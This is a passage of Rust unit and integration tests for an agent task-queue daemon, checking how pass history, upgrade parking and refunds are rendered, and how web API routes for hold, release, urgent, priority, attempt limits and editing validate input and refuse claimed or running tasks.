15857        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15858        assert!(
15859            h[0].outcome.contains("pass #2 resumed the same run"),
15860            "{}",
15861            h[0].outcome
15862        );
15863        assert!(
15864            h[0].outcome.contains("pass 1 of 2 over run"),
15865            "{}",
15866            h[0].outcome
15867        );
15868        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15869        assert_eq!(
15870            h[0].exit_label,
15871            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15872        );
15873        let f = task_flow(&task, &h, 2, None);
15874        // Two passes of one run, one of two attempts consumed.
15875        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15876        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15877        assert!(
15878            f.edges[1].label.contains("upgrade 0.121.0"),
15879            "{}",
15880            f.edges[1].label
15881        );
15882        assert!(
15883            f.edges[1].label.contains("resume the same run"),
15884            "{}",
15885            f.edges[1].label
15886        );
15887        assert_eq!(f.nodes[1].note, Some("parked"));
15888    }
15889
15890    #[test]
15891    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15892        let mut a = flow_run(RunStatus::Implementing, |s| {
15893            s.passes = vec![
15894                recorded_pass(0, parked(upgrade_cause())),
15895                recorded_pass(1, None),
15896            ];
15897        });
15898        let mut b = flow_run(RunStatus::Failed, |s| {
15899            s.passes = vec![recorded_pass(0, None)];
15900        });
15901        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15902        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15903        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15904        let mut task = flow_task(&[]);
15905        task.start("a".into());
15906        task.start("b".into());
15907        task.start("a".into());
15908        assert_eq!(task.runs, ["b", "a"]);
15909        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15910        let h = task_history(&task, |id| {
15911            Some(if id == "a" { a.clone() } else { b.clone() })
15912        });
15913        assert_eq!(
15914            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15915            ["a", "b", "a"]
15916        );
15917        assert_eq!(h[0].attempt, AttemptCost::Refunded);
15918        assert!(h[0].outcome.contains("upgrade"));
15919        assert_eq!(h[2].kind, "resume");
15920        assert!(h[2].pass.is_some());
15921        // The old repeated-id format must show the same recorded passes.
15922        task.runs = vec!["a".into(), "b".into(), "a".into()];
15923        let old = task_history(&task, |id| {
15924            Some(if id == "a" { a.clone() } else { b.clone() })
15925        });
15926        assert_eq!(
15927            old.iter()
15928                .map(|v| (&v.id, &v.kind, v.attempt))
15929                .collect::<Vec<_>>(),
15930            h.iter()
15931                .map(|v| (&v.id, &v.kind, v.attempt))
15932                .collect::<Vec<_>>()
15933        );
15934    }
15935
15936    #[test]
15937    fn an_upgrade_whose_target_was_not_known_says_so() {
15938        let run = flow_run(RunStatus::Implementing, |s| {
15939            s.passes = vec![
15940                recorded_pass(
15941                    0,
15942                    parked(crate::run::ParkCause::Upgrade {
15943                        from: "0.121.0".to_owned(),
15944                        to: None,
15945                    }),
15946                ),
15947                recorded_pass(1, None),
15948            ];
15949        });
15950        let task = flow_task(&[RUN_X, RUN_X]);
15951        let h = task_history(&task, |_| Some(run.clone()));
15952        assert!(
15953            h[0].outcome.contains("upgrade from 0.121.0"),
15954            "{}",
15955            h[0].outcome
15956        );
15957        // No settle record: the refund is not claimed.
15958        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15959    }
15960
15961    #[test]
15962    fn each_pass_keeps_its_own_cause_across_several_resumes() {
15963        use crate::queue::PassCost;
15964        use crate::run::ParkCause;
15965        let run = flow_run(RunStatus::Implementing, |s| {
15966            s.passes = vec![
15967                recorded_pass(0, parked(upgrade_cause())),
15968                recorded_pass(
15969                    1,
15970                    parked(ParkCause::Interrupt {
15971                        reason: "task a1b2 asked to run first".to_owned(),
15972                    }),
15973                ),
15974                recorded_pass(2, parked(ParkCause::Operator)),
15975                recorded_pass(3, None),
15976            ];
15977        });
15978        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15979        task.attempts = 1;
15980        task.passes = (0..3)
15981            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15982            .collect();
15983        let h = task_history(&task, |_| Some(run.clone()));
15984        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15985        assert!(
15986            h[1].outcome.contains("task a1b2 asked to run first"),
15987            "{}",
15988            h[1].outcome
15989        );
15990        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15991        assert!(
15992            h[2].outcome.contains("operator asked the loop to park"),
15993            "{}",
15994            h[2].outcome
15995        );
15996        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
15997        let f = task_flow(&task, &h, 2, None);
15998        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
15999    }
16000
16001    #[test]
16002    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16003        let run = flow_run(RunStatus::Implementing, |s| {
16004            s.passes = vec![
16005                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16006                recorded_pass(1, None),
16007            ];
16008        });
16009        let task = flow_task(&[RUN_X, RUN_X]);
16010        let h = task_history(&task, |_| Some(run.clone()));
16011        assert_eq!(h[0].exit, RunExit::Interrupted);
16012        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16013        assert!(
16014            h[0].outcome.contains("without recording why"),
16015            "{}",
16016            h[0].outcome
16017        );
16018        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16019        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16020    }
16021
16022    #[test]
16023    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16024        use crate::queue::PassCost;
16025        // Three entries, but the run only began keeping passes at the last
16026        // two: the first is legacy and must not be given a cause.
16027        let run = flow_run(RunStatus::Implementing, |s| {
16028            s.passes = vec![
16029                recorded_pass(0, parked(upgrade_cause())),
16030                recorded_pass(1, None),
16031            ];
16032        });
16033        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16034        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16035        let h = task_history(&task, |_| Some(run.clone()));
16036        assert!(h[0].pass.is_none());
16037        assert_eq!(h[0].exit, RunExit::Interrupted);
16038        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16039        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16040        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16041        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16042        // A run with no passes at all is entirely unknown.
16043        let legacy = flow_run(RunStatus::Implementing, |_| {});
16044        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16045        assert!(h.iter().all(|v| v.pass.is_none()));
16046        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16047    }
16048
16049    #[test]
16050    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16051        use crate::queue::PassCost;
16052        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16053        // task. The two entries are passes 0 and 2.
16054        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16055        web.task_entry = false;
16056        let run = flow_run(RunStatus::Implementing, |s| {
16057            s.passes = vec![
16058                recorded_pass(0, parked(upgrade_cause())),
16059                web.clone(),
16060                recorded_pass(2, None),
16061            ];
16062        });
16063        let mut task = flow_task(&[RUN_X, RUN_X]);
16064        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16065        let h = task_history(&task, |_| Some(run.clone()));
16066        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16067        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16068
16069        // Legacy first entry, then a web resume that parked for an upgrade,
16070        // then the daemon's pass: the legacy entry must stay unknown.
16071        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16072        web0.task_entry = false;
16073        let run = flow_run(RunStatus::Implementing, |s| {
16074            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16075        });
16076        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16077        assert!(h[0].pass.is_none());
16078        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16079        assert!(h[1].pass.is_some());
16080    }
16081
16082    #[tokio::test]
16083    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16084        let dir = tempfile::tempdir().unwrap();
16085        let queue = Queue::at(dir.path().join("queue"));
16086        let ui = Arc::new(Ui::new(
16087            queue.clone(),
16088            Questions::at(dir.path().join("questions")),
16089            Talks::at(dir.path().join("talks")),
16090            dir.path().join("runs"),
16091            dir.path().to_path_buf(),
16092            dir.path().to_path_buf(),
16093        ));
16094        let mut t = Task::new(
16095            "recover".into(),
16096            "Inspect".into(),
16097            PathBuf::from("."),
16098            Source::Human,
16099        );
16100        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16101        t.start("run-A".into());
16102        t.release_operator("choice", Some("resume-question"));
16103        t.resume_override = Some(crate::queue::OperatorResume {
16104            question_id: "resume-question".into(),
16105            at: jiff::Timestamp::now(),
16106            conductor_rehold: None,
16107            forced: true,
16108            pinned_run: Some("run-A".into()),
16109        });
16110        t.hold_machine(Some("inspection pending".into()));
16111        t.edit("recover".into(), "Reuse approved PR head".into())
16112            .unwrap();
16113        queue.put(&mut t).unwrap();
16114        let mut cli = t.clone();
16115        cli.release_operator("cli", None);
16116        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16117        let reloaded = queue.get(&t.id).unwrap();
16118        assert_eq!(reply.task.status, TaskStatus::Queued);
16119        assert!(reloaded.resume_override.is_none());
16120        assert_eq!(reloaded.answers, t.answers);
16121        let mut web = reloaded.resumption.unwrap();
16122        let cli = cli.resumption.unwrap();
16123        assert_eq!(web.source, "web");
16124        web.source = cli.source.clone();
16125        web.at = cli.at;
16126        assert_eq!(web, cli);
16127    }
16128
16129    #[tokio::test]
16130    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16131        let f = Fixture::start().await;
16132        let queue = f.queue();
16133        let mut task = Task::new(
16134            "spent".to_owned(),
16135            "Try again".to_owned(),
16136            PathBuf::from("/repo/magi"),
16137            Source::Human,
16138        );
16139        task.start("20260902-140502-bbbb".to_owned());
16140        task.fail("agent gave up", 9);
16141        queue.put(&mut task).expect("file the task");
16142
16143        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16144        assert_eq!(held.status, 200);
16145        assert_eq!(held.json()["status_str"], "held");
16146
16147        let released = f
16148            .post(&format!("/api/queue/{}/release", task.id), None)
16149            .await;
16150        assert_eq!(released.status, 200);
16151        assert_eq!(released.json()["status_str"], "queued");
16152        assert_eq!(released.json()["resumption"]["source"], "web");
16153        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16154        let mut cli = task.clone();
16155        cli.release_operator("cli", None);
16156        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16157        let cli = cli.resumption.unwrap();
16158        assert_eq!(web.instruction, cli.instruction);
16159        assert_eq!(web.answers_through, cli.answers_through);
16160        assert_eq!(web.runs_through, cli.runs_through);
16161        assert_eq!(web.cleared_reason, cli.cleared_reason);
16162        assert_eq!(
16163            released.json()["attempts"],
16164            0,
16165            "release is a real second chance, not an instant re-hold"
16166        );
16167        assert_eq!(
16168            queue.get(&task.id).expect("reload").status,
16169            TaskStatus::Queued,
16170            "the change is on disk, not only in the reply"
16171        );
16172        assert!(
16173            !f.home
16174                .path()
16175                .join("queue")
16176                .join(format!("{}.lock", task.id))
16177                .exists(),
16178            "the claim the mutation took is released again"
16179        );
16180    }
16181
16182    #[tokio::test]
16183    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16184        let f = Fixture::start().await;
16185        let queue = f.queue();
16186        let mut task = Task::new(
16187            "busy".to_owned(),
16188            "Running right now".to_owned(),
16189            PathBuf::from("/repo/magi"),
16190            Source::Human,
16191        );
16192        queue.put(&mut task).expect("file the task");
16193        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16194
16195        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16196
16197        assert_eq!(res.status, 409);
16198        assert_eq!(
16199            queue.get(&task.id).expect("reload").status,
16200            TaskStatus::Queued,
16201            "the refused hold changed nothing"
16202        );
16203    }
16204
16205    #[tokio::test]
16206    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16207        let f = Fixture::start().await;
16208        let queue = f.queue();
16209        let mut task = Task::new(
16210            "waiting on the migration".to_owned(),
16211            "Do the thing".to_owned(),
16212            PathBuf::from("/repo/magi"),
16213            Source::Human,
16214        );
16215        queue.put(&mut task).expect("file the task");
16216
16217        let held = f
16218            .post(
16219                &format!("/api/queue/{}/hold", task.id),
16220                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16221            )
16222            .await;
16223        assert_eq!(held.status, 200, "{}", held.body);
16224        assert_eq!(held.json()["status_str"], "held");
16225        assert_eq!(
16226            held.json()["hold_reason"],
16227            "waiting for 20260101-000000-aaaa to land"
16228        );
16229
16230        let listed = f.get("/api/queue").await.json();
16231        assert_eq!(
16232            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16233            "the card reads the reason off the same list route"
16234        );
16235
16236        // A hold with no body at all must keep working - most holds have no
16237        // reason to give.
16238        let mut plain = Task::new(
16239            "no reason given".to_owned(),
16240            "Do another thing".to_owned(),
16241            PathBuf::from("/repo/magi"),
16242            Source::Human,
16243        );
16244        queue.put(&mut plain).expect("file the task");
16245        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16246        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16247        assert!(held_plain.json()["hold_reason"].is_null());
16248
16249        let released = f
16250            .post(&format!("/api/queue/{}/release", task.id), None)
16251            .await;
16252        assert_eq!(released.status, 200);
16253        assert!(
16254            released.json()["hold_reason"].is_null(),
16255            "a release must clear the reason so the next hold does not inherit it"
16256        );
16257    }
16258
16259    #[test]
16260    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16261        for urgent in [true, false] {
16262            let body: UrgentBody =
16263                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16264            assert_eq!(body.urgent, urgent);
16265        }
16266        for input in [
16267            r#"{}"#,
16268            r#"{"urgent":null}"#,
16269            r#"{"urgent":"true"}"#,
16270            r#"{"urgent":1}"#,
16271            r#"{"urgent":true,"extra":false}"#,
16272        ] {
16273            assert!(
16274                serde_json::from_str::<UrgentBody>(input).is_err(),
16275                "{input}"
16276            );
16277        }
16278    }
16279
16280    #[tokio::test]
16281    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16282        let home = TempDir::new().unwrap();
16283        let q = Queue::at(home.path().join("queue"));
16284        let ui = Arc::new(Ui::new(
16285            q.clone(),
16286            Questions::at(home.path().join("questions")),
16287            Talks::at(home.path().join("talks")),
16288            home.path().join("runs"),
16289            home.path().into(),
16290            home.path().into(),
16291        ));
16292        let mut task = Task::new(
16293            "urgent handler".into(),
16294            "keep".into(),
16295            home.path().into(),
16296            Source::Human,
16297        );
16298        for status in [TaskStatus::Queued, TaskStatus::Held] {
16299            task.status = status;
16300            q.put(&mut task).unwrap();
16301            for urgent in [true, true, false, false] {
16302                let saved = queue_urgent(
16303                    State(Arc::clone(&ui)),
16304                    Path(task.short().into()),
16305                    Ok(Json(UrgentBody { urgent })),
16306                )
16307                .await
16308                .unwrap();
16309                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16310                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16311            }
16312        }
16313        task.status = TaskStatus::Queued;
16314        q.put(&mut task).unwrap();
16315        let claim = q.claim(&task.id).unwrap();
16316        let error = queue_urgent(
16317            State(Arc::clone(&ui)),
16318            Path(task.id.clone()),
16319            Ok(Json(UrgentBody { urgent: true })),
16320        )
16321        .await
16322        .unwrap_err();
16323        assert_eq!(error.status, StatusCode::CONFLICT);
16324        assert!(error.message.contains("released"));
16325        drop(claim);
16326        for status in [
16327            TaskStatus::Running,
16328            TaskStatus::Done,
16329            TaskStatus::Failed,
16330            TaskStatus::Blocked,
16331            TaskStatus::Parked,
16332        ] {
16333            task.status = status;
16334            q.put(&mut task).unwrap();
16335            let error = queue_urgent(
16336                State(Arc::clone(&ui)),
16337                Path(task.id.clone()),
16338                Ok(Json(UrgentBody { urgent: false })),
16339            )
16340            .await
16341            .unwrap_err();
16342            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16343            assert!(error.message.contains(status.as_str()));
16344        }
16345    }
16346
16347    #[tokio::test]
16348    async fn urgent_api_updates_preserves_and_validates_tasks() {
16349        let f = Fixture::start().await;
16350        let q = f.queue();
16351        let mut t = Task::new(
16352            "urgent API".into(),
16353            "unchanged".into(),
16354            PathBuf::from("/repo/magi"),
16355            Source::Human,
16356        );
16357        t.attempts = 2;
16358        t.priority = 9;
16359        t.interrupt = true;
16360        t.hold_reason = Some("waiting for approval".into());
16361        for status in [TaskStatus::Queued, TaskStatus::Held] {
16362            t.status = status;
16363            q.put(&mut t).unwrap();
16364            for urgent in [true, true, false, false] {
16365                let response = f
16366                    .post(
16367                        &format!("/api/queue/{}/urgent", t.short()),
16368                        Some(&format!("{{\"urgent\":{urgent}}}")),
16369                    )
16370                    .await;
16371                assert_eq!(response.status, 200, "{}", response.body);
16372                assert_eq!(response.json()["urgent"], urgent);
16373                let saved = q.get(&t.id).unwrap();
16374                let mut before = serde_json::to_value(&t).unwrap();
16375                let mut after = serde_json::to_value(saved).unwrap();
16376                before["urgent"] = urgent.into();
16377                before.as_object_mut().unwrap().remove("updated_at");
16378                after.as_object_mut().unwrap().remove("updated_at");
16379                assert_eq!(after, before);
16380            }
16381        }
16382        let route = format!("/api/queue/{}/urgent", t.id);
16383        for body in [
16384            r#"{}"#,
16385            r#"{"urgent":null}"#,
16386            r#"{"urgent":"true"}"#,
16387            r#"{"urgent":1}"#,
16388            r#"{"urgent":true,"extra":false}"#,
16389            "{",
16390        ] {
16391            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16392        }
16393        t.status = TaskStatus::Queued;
16394        q.put(&mut t).unwrap();
16395        let claim = q.claim(&t.id).unwrap();
16396        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16397        assert_eq!(response.status, 409, "{}", response.body);
16398        assert!(!q.get(&t.id).unwrap().urgent);
16399        drop(claim);
16400        for status in [
16401            TaskStatus::Running,
16402            TaskStatus::Done,
16403            TaskStatus::Failed,
16404            TaskStatus::Blocked,
16405            TaskStatus::Parked,
16406        ] {
16407            t.status = status;
16408            q.put(&mut t).unwrap();
16409            for urgent in [true, false] {
16410                let response = f
16411                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16412                    .await;
16413                assert_eq!(response.status, 400, "{}", response.body);
16414                assert!(response.body.contains(status.as_str()));
16415                assert!(response.body.contains("queued or held"));
16416                assert!(!q.get(&t.id).unwrap().urgent);
16417            }
16418        }
16419        assert_eq!(
16420            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16421                .await
16422                .status,
16423            404
16424        );
16425    }
16426
16427    #[tokio::test]
16428    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16429        let f = Fixture::start().await;
16430        let queue = f.queue();
16431        let mut older = Task::new(
16432            "filed first".to_owned(),
16433            "x".to_owned(),
16434            PathBuf::from("/repo/magi"),
16435            Source::Human,
16436        );
16437        older.id = "20260101-000001-aaaa".to_owned();
16438        let mut newer = Task::new(
16439            "filed second".to_owned(),
16440            "x".to_owned(),
16441            PathBuf::from("/repo/magi"),
16442            Source::Human,
16443        );
16444        newer.id = "20260101-000002-bbbb".to_owned();
16445        queue.put(&mut older).expect("file older");
16446        queue.put(&mut newer).expect("file newer");
16447
16448        // Equal priority: the newer task leads, the same order the old
16449        // newest-first `list()` already gave every equal-priority queue.
16450        let before = f.get("/api/queue").await.json();
16451        assert_eq!(before[0]["id"], newer.id);
16452        assert_eq!(before[1]["id"], older.id);
16453
16454        // Raising the *older* task is the meaningful case: it can only lead
16455        // now because its priority says so, not because it happens to be
16456        // newest.
16457        let raised = f
16458            .post(
16459                &format!("/api/queue/{}/priority", older.id),
16460                Some(r#"{"priority":10}"#),
16461            )
16462            .await;
16463        assert_eq!(raised.status, 200, "{}", raised.body);
16464        assert_eq!(raised.json()["priority"], 10);
16465
16466        let after = f.get("/api/queue").await.json();
16467        let names: Vec<&str> = after
16468            .as_array()
16469            .unwrap()
16470            .iter()
16471            .map(|t| t["id"].as_str().unwrap())
16472            .collect();
16473        // Highest priority first, which is the order next_runnable and
16474        // `magi task list` both use - GET /api/queue must agree with it
16475        // immediately, not just once the loop claims the task.
16476        assert_eq!(names[0], older.id, "the raised task now sorts first");
16477    }
16478
16479    #[tokio::test]
16480    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16481        let dir = TempDir::new().unwrap();
16482        let q = Queue::at(dir.path().join("queue"));
16483        let ui = Arc::new(Ui::new(
16484            q.clone(),
16485            Questions::at(dir.path().join("questions")),
16486            Talks::at(dir.path().join("talks")),
16487            dir.path().join("runs"),
16488            dir.path().to_path_buf(),
16489            dir.path().to_path_buf(),
16490        ));
16491        let mut t = Task::new(
16492            "budget".into(),
16493            "keep".into(),
16494            dir.path().into(),
16495            Source::Human,
16496        );
16497        t.attempts = 2;
16498        t.runs.push("prior-run".into());
16499        t.hold_manual(Some("waiting".into()));
16500        q.put(&mut t).unwrap();
16501        let change = |value| {
16502            queue_attempt_limit(
16503                State(ui.clone()),
16504                Path(t.id.clone()),
16505                Ok(Json(AttemptLimitBody {
16506                    attempt_limit: value,
16507                })),
16508            )
16509        };
16510        for value in [
16511            serde_json::json!(3),
16512            serde_json::Value::Null,
16513            serde_json::json!(1),
16514        ] {
16515            let response = change(value.clone()).await.unwrap();
16516            assert_eq!(
16517                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16518                value
16519            );
16520            let saved = q.get(&t.id).unwrap();
16521            assert_eq!(
16522                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16523                value
16524            );
16525            assert_eq!(saved.status, TaskStatus::Held);
16526            assert_eq!(saved.attempts, t.attempts);
16527            assert_eq!(saved.runs, t.runs);
16528            assert_eq!(saved.hold_reason, t.hold_reason);
16529            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16530                .await
16531                .unwrap()
16532                .0;
16533            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16534            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16535            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16536            assert_eq!(outcome.max_attempts, detail.max_attempts);
16537        }
16538        for value in [
16539            serde_json::json!(0),
16540            serde_json::json!(-1),
16541            serde_json::json!(1.5),
16542            serde_json::json!("3"),
16543            serde_json::json!(true),
16544        ] {
16545            assert_eq!(
16546                change(value).await.err().unwrap().status,
16547                StatusCode::BAD_REQUEST
16548            );
16549        }
16550        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16551        let claim = q.claim(&t.id).unwrap();
16552        assert_eq!(
16553            change(serde_json::json!(4)).await.err().unwrap().status,
16554            StatusCode::CONFLICT
16555        );
16556        drop(claim);
16557        for status in [
16558            TaskStatus::Running,
16559            TaskStatus::Done,
16560            TaskStatus::Failed,
16561            TaskStatus::Blocked,
16562            TaskStatus::Parked,
16563        ] {
16564            let mut stored = q.get(&t.id).unwrap();
16565            stored.status = status;
16566            q.put(&mut stored).unwrap();
16567            assert_eq!(
16568                change(serde_json::json!(4)).await.err().unwrap().status,
16569                StatusCode::BAD_REQUEST
16570            );
16571            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16572        }
16573        let mut stored = q.get(&t.id).unwrap();
16574        stored.status = TaskStatus::Queued;
16575        q.put(&mut stored).unwrap();
16576        let _ = change(serde_json::Value::Null).await.unwrap();
16577        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16578    }
16579
16580    #[tokio::test]
16581    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16582        let dir = TempDir::new().unwrap();
16583        let repo = dir.path().join("repo");
16584        std::fs::create_dir(&repo).unwrap();
16585        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16586        let q = Queue::at(dir.path().join("queue"));
16587        let ui = Arc::new(Ui::new(
16588            q.clone(),
16589            Questions::at(dir.path().join("questions")),
16590            Talks::at(dir.path().join("talks")),
16591            dir.path().join("runs"),
16592            dir.path().to_path_buf(),
16593            repo.clone(),
16594        ));
16595        let mut t = Task::new(
16596            "seats".into(),
16597            "keep instruction".into(),
16598            repo,
16599            Source::Human,
16600        );
16601        t.runs.push("prior-run".into());
16602        t.hold_manual(Some("waiting".into()));
16603        q.put(&mut t).unwrap();
16604        let change = |count| {
16605            queue_implementers(
16606                State(ui.clone()),
16607                Path(t.id.clone()),
16608                Ok(Json(ImplementersBody {
16609                    implementers: count,
16610                })),
16611            )
16612        };
16613        for count in [2, 1, 2] {
16614            let response = change(count).await.unwrap();
16615            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16616            let saved = q.get(&t.id).unwrap();
16617            assert_eq!(saved.implementers(), Some(usize::from(count)));
16618            assert_eq!(saved.runs, t.runs);
16619            assert_eq!(saved.instruction, t.instruction);
16620        }
16621        for count in [0, 4] {
16622            assert_eq!(
16623                change(count).await.err().unwrap().status,
16624                StatusCode::BAD_REQUEST
16625            );
16626        }
16627        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16628        let claim = q.claim(&t.id).unwrap();
16629        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16630        drop(claim);
16631        for status in [
16632            TaskStatus::Running,
16633            TaskStatus::Done,
16634            TaskStatus::Failed,
16635            TaskStatus::Blocked,
16636            TaskStatus::Parked,
16637        ] {
16638            let mut stored = q.get(&t.id).unwrap();
16639            stored.status = status;
16640            q.put(&mut stored).unwrap();
16641            assert_eq!(
16642                change(1).await.err().unwrap().status,
16643                StatusCode::BAD_REQUEST
16644            );
16645            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16646        }
16647    }
16648
16649    #[tokio::test]
16650    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16651        let f = Fixture::start().await;
16652        let queue = f.queue();
16653        let mut task = Task::new(
16654            "in flight".to_owned(),
16655            "x".to_owned(),
16656            PathBuf::from("/repo/magi"),
16657            Source::Human,
16658        );
16659        task.start("20260902-140502-bbbb".to_owned());
16660        queue.put(&mut task).expect("file the task");
16661
16662        let res = f
16663            .post(
16664                &format!("/api/queue/{}/priority", task.id),
16665                Some(r#"{"priority":9}"#),
16666            )
16667            .await;
16668        assert_eq!(res.status, 400, "{}", res.body);
16669        assert!(
16670            res.json()["error"]
16671                .as_str()
16672                .is_some_and(|e| e.contains("running")),
16673            "{}",
16674            res.body
16675        );
16676        assert_eq!(
16677            queue.get(&task.id).expect("reload").priority,
16678            0,
16679            "the refused write must not partially apply"
16680        );
16681    }
16682
16683    #[tokio::test]
16684    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16685        let f = Fixture::start().await;
16686        let queue = f.queue();
16687        let mut task = Task::new(
16688            "old title".to_owned(),
16689            "old instruction".to_owned(),
16690            PathBuf::from("/repo/magi"),
16691            Source::Agent {
16692                run: "20260101-000000-beef".to_owned(),
16693                node: "implement".to_owned(),
16694            },
16695        );
16696        task.runs.push("20260101-000000-beef".to_owned());
16697        queue.put(&mut task).expect("file the task");
16698        let created_at = task.created_at;
16699
16700        let edited = f
16701            .post(
16702                &format!("/api/queue/{}/edit", task.id),
16703                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16704            )
16705            .await;
16706        assert_eq!(edited.status, 200, "{}", edited.body);
16707        let body = edited.json();
16708        assert_eq!(body["title"], "new title");
16709        assert_eq!(body["instruction"], "new instruction");
16710        assert_eq!(body["id"], task.id, "editing must not mint a new id");
16711        assert_eq!(body["created_at"], created_at.to_string());
16712        assert_eq!(
16713            body["source"]["kind"], "agent",
16714            "editing a task an agent filed must not turn it human: {body}"
16715        );
16716        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16717
16718        let reloaded = queue.get(&task.id).expect("reload");
16719        assert_eq!(reloaded.title, "new title");
16720        assert_eq!(reloaded.instruction, "new instruction");
16721    }
16722
16723    #[tokio::test]
16724    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16725        // The judge is an agent now: a repo whose only agent answers
16726        // "duplicate" stands in for it, so the refusal is the judge's.
16727        let tmp = TempDir::new().expect("tempdir");
16728        let repo = tmp.path().join("repo");
16729        std::fs::create_dir_all(&repo).expect("repo dir");
16730        let judge = MOCK_AGENT_TOML.replace(
16731            "printf ok",
16732            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16733        );
16734        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16735        let f = Fixture::with_repo(repo.clone()).await;
16736        let queue = f.queue();
16737        let mut owner = Task::new(
16738            "owner".to_owned(),
16739            "review it".to_owned(),
16740            repo.clone(),
16741            Source::Human,
16742        );
16743        owner.review_branch = Some("magi/ab12/A".to_owned());
16744        queue.put(&mut owner).expect("file the owner");
16745        let mut task = Task::new(
16746            "draft".to_owned(),
16747            "old".to_owned(),
16748            repo.clone(),
16749            Source::Human,
16750        );
